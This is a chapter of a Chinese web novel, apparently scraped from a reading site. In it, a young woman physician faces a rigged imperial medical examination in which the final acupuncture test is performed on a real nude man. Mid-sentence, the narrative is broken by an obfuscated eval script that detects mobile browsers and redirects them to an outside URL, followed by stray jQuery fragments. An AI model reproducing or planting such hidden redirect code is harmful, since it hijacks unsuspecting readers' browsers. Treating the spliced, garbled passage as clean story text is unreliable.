默认冷灰
24号文字
方正启体

14. 九重宫阙(三)

作者:墨雨轻吟本书字数:K更新时间:
    “大人,不知为何我们没有成绩?”男子走上前两步,语气恭敬道。


    郑守业看了他一眼,往左边退了几步,推诿道:"这你得问这位太医了。"说着,他扬起袖子指了指那位品鉴他们药丸的太医。


    “别人只是比例克数有些误差,可你们是连药材都搞错了。”那太医侃侃解释。


    男子低头轻笑一声,随后拿起原版药丸,在掌心掂了掂。


    "若我没有猜错,这颗药丸是治疗风湿痹痛的止风丸。"


    那太医愣了一下,显然是没有想到他竟能认出这颗药丸。待冷静下来,他反驳道:“止风丸并不罕见,你就算知道了也不稀奇。只是认出来了还能搞错原药材,当真是实力缺乏。”


    男子不慌不忙地解释:"大人莫非忘了,止风丸乃是十多年前一位宫廷女秘医所制,民间至今未曾流传药方。"


    闻言,那太医双目圆睁,急问 “你是如何得知?”


    “不过是野书杂记看多了,略有耳闻而已。”他掂了掂手中的药丸,随后正色道,“止风丸中的白芷主要功能是祛风止痛,但若用多了便会体虚。若换做是羌活,则止痛效果更佳,还不会伤身。如此岂不是更好?”


    闻言,义姁这才明白,他当时为何会如此自信地用羌活代替白芷,原来是心中早有盘算。


    那与他对话的太医被说的有些哑口无言。郑守业见状,急忙走上前解释,“郎君有如此悟性,倒不是实力缺乏了。只是太医院考核的规矩便是复刻所给的药丸,若是坏了规矩,至其他人于何地呢?”


    话毕,他故意转头看了一眼其他考生,想让他们认同他说的话。


    男子一眼便看出了他的做派,只是笑而不语。


    人群中传来一个苍老的声音:"规矩是死的,人是活的。身为医者,自是一心要为病人着想。既然这新草药配制的药丸效果更甚从前,那便不必为规矩所束。"


    众人闻声望去,是一个品鉴药丸的老太医。他蹒跚着站了出来,表达了自己的看法。


    此言一出,许多人都觉得很有道理,纷纷点了点头。毕竟大家同为医者,自是知道在医学界,想要推翻原有疗法、原创更有效的药方何其困难。


    郑守业见状,面露难色,恶狠狠地瞪了一眼适才说话的那个老太医。


    “大人,”义姁快步走上前,语气恭敬地说道,“大人服侍皇上和贵人们多有不易。若是他们知道了大人带领太医院日夜辛勤,研究出了更有效的药丸,岂不是会多多体谅大人们的难处?”


    闻言,郑守业眉头渐舒,摸了摸胡子一番思索,觉得义姁所言甚是有理。


    他又咳嗽了几声,掩饰尴尬,随后扬声道:"既然大家都觉得这个新药丸如此有价值,那倒也不必如此难堪了。"


    话毕,那记分的宫人心领神会,低头划去了木牍上的圈,在旁边写下了"优"。


    见状,义姁终于松了一口气。她望向与她同队的男子,他也正望着她,挑了挑眉毛,眼中闪烁着奕奕神采。


    *****


    第二轮过后,众人便在院中稍作休息。与义姁搭档的那名男子,因为适才在考核中制作出了新药丸,而今风头正盛,此刻正被其他的考生簇拥着。


    一名稍年长的医者拍了拍他的肩膀,感慨道:“后生可畏,后生可畏啊!如今我们是越来越不中用了……”


    “是啊是啊……”簇拥在旁的医者们笑着附和。


    义姁坐在院在门口的树下,拿出一个干硬粗糙的馍馍啃着,等着最后一轮考核的开始。


    可她心中却难掩担心。第二轮考核过的并不算胜利,从组队到取材,再到最后的检查,一切冥冥之中都像是有一只无形的手在阻挠着她。


    这最后一轮的实践考核,据说也是难度最大的一个,不知又会遇到什么。


    耳边忽然传来密集的脚步声,掺杂着零碎的铁索撞击的声音。


    义姁抬起头,正好望见太医院大门外一行人走过。为首的官吏身着黑色官服,腰间佩着长刀,昂首挺胸地走在最前面。身后是一队官兵,押着一群似乎是犯了错的下人。下人们脚上缠着铁链,拖在地上发出刺耳的声响。


    这宫中到底是严苛。她不禁伤感,也不知道当年义家,是否是也是被这样套上了铁锁链子,而后消匿于深夜的一场大火之中。


    “娘子,可是有什么心事?”身后突然传来一个声音。


    义姁被吓了一跳,回过神来,发现是适才与她同队的男子。


    “没什么心事,不过就是坐着休息罢了。”她回答。


    男子见状,用袖子轻掸地上树桩,而后便坐了下去。他抬着头望着义姁,又是一脸的轻笑:“适才与娘子合作甚是有默契,不知娘子可愿告知名讳?”


    “不过是同行一场,若未曾入选,明日便又该各行其路,相忘于江湖。又何必说出名讳徒增不必要的麻烦。”义姁淡然道。


    “唉!”男子闻言直摇手,“怎么会是麻烦呢?娘子是聪明人,能与聪明人相识一场是我的福气。”他顿了顿,眼中闪过一丝狡黠的笑意,压低声音道:“况且,娘子又怎知不是你我留下?”


    男子说的话的确有理,义姁被戳中了心思,因为她太想进太医院了。


    见她沉默不语,男子忽然站起身来,扬着嗓子,舞动着手臂,抑扬顿挫地吟道:“江波浩渺逐云影,禄利浮名付晓风。在下名叫江禄,还请娘子多多关照。”


    话毕,他双手抱拳,微微作辑。


    义姁:“......”


    她被他突如其来莫名其妙的的举动吓了一跳,却又觉得他舞弄诗词的模样有些好笑。


    “既都是视作禄利浮名为云影晓风了,又为何想进入这深宫中为官?”她忍不住打趣道。


    “娘子此言差矣,”江禄笑着摆了摆手,“人的名字受之父母,自是承托了父母的希望。可若心中之意实非父母所盼,那这名字不过只是个代名词,也不必为此拘束。”


    义姁没想到江禄竟能说出如此见解。在这个讲究“身体发肤受之父母,百善孝为先”的世道,大多数人都是唯长辈之命是从,少有人能如江禄这般肆意行事,只为心中所愿。


    “那娘子呢?不知娘子有何见解?”江禄笑着问道。


    义姁想到自己的名字,忽地陷入了沉思。


    她也想知道,她为何会叫“义姁”。当年那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258999|166511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对初为人父母的夫妻,又对怀中孩子有什么样的期盼呢?


    是希望她做个正义的女子吗?


    姁姁白裳玉兰花,是希望她如玉兰花那般忠贞不渝吗?


    “最后一场考核开始了!”里院的宫人站在门口呼喊,打破了二人的思绪。义姁反应过来,来不及再多想其他的,连忙站起身,与江禄一同向考核场走去。


    *****


    十几人被带到一间狭小的诊间。众人纷纷打量着周围,不明所以。一旁的宫人走上前,给每个人手中发了一份木渎,上面记录着相同的病例。


    义姁仔细看了看手中的木牍,当看到病症记载时,她的手微微颤抖了一下。


    “思想无穷,所愿不得,意淫于外,入房太甚,宗筋弛纵,发为筋痿...”


    她只看到一半,便已明白这男子是因肝肾亏损、房事不节而导致的阴痿。


    周围的人看着手中木牍,神态各异,议论纷纷。但大多都是面带笑意,庆幸这最后一道是他们男子最为了解擅长的疾病。


    微闹的嘈杂声中,义姁的手死死抓住木牍的边缘,粉嫩的指甲几乎要将木牍划出痕迹。


    她并非对男科一窍不通,只是这最后一道考试名为实践考核,定是要求实操。而治疗阴痿,施针之处大多为男子阴器周遭。


    “娘子莫愁,”江禄靠近义姁,轻声道:“听说往年这最后一道考核都是用的陶瓷假人,考察的是穴位和针法。”


    “那便好。”义姁闻言,这才稍稍舒了口气。


    门口,郑守业又带着几个宫人大摇大摆地走了进来。他走到主位,四下打量了一番,又是先前那般做派,扬声道:"想必各位已经提前看过手中的这份病例了。这最后一道考核呢,说难也不难,说不难也难,主要还是看各位的针法拿的如何。"


    话毕,他与跟随其旁的宫人使了个眼色,那宫人便径直走到了一旁的帘子后。


    "刷"的一声,刚刚还挂得严严实实的帘布瞬间掉落在地上。众人纷纷望去,帘子那边,一个全身赤裸、只以布条裹住隐私部分的男子正背对着他们。


    义姁瞳孔微缩,瞬间背过身去,心中却久久不能平静。


    郑守业见状,脸上洋溢着得意的笑,洋洋解释道:"从前的假人哪有真人的皮肤触感,自然是无法精准展示各位医者的针灸手法。所以从今年开始,太医院的应试均采用真人。"


    义姁抬眸,正撞上他得意的笑。她猜想过这最后一道考核有多困难,却没有想到最后是以这种卑劣的手段出现。


    阴萎并不难治,但针灸处大多处于股际和阴器周遭。这对她一个女子来说是何等的侮辱和刁难。


    在这个男医为满为患、女医寥寥无几的世道,男科疾病又何曾轮到女子来医治?他们从不曾信任过女医,还常以不知廉耻来为她们冠名。


    可如今这个时候,这个不曾关乎性命与安危的时刻,他们又丢掉了曾经那套关乎廉耻的说法,只为用这卑劣的手段刁难她。


    原来,世俗偏见如枷锁,危难时刻便被弃,所谓廉耻与信任,不过是利益权衡下的可变筹码。


    这世道医学界的规则,从不在她们手中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)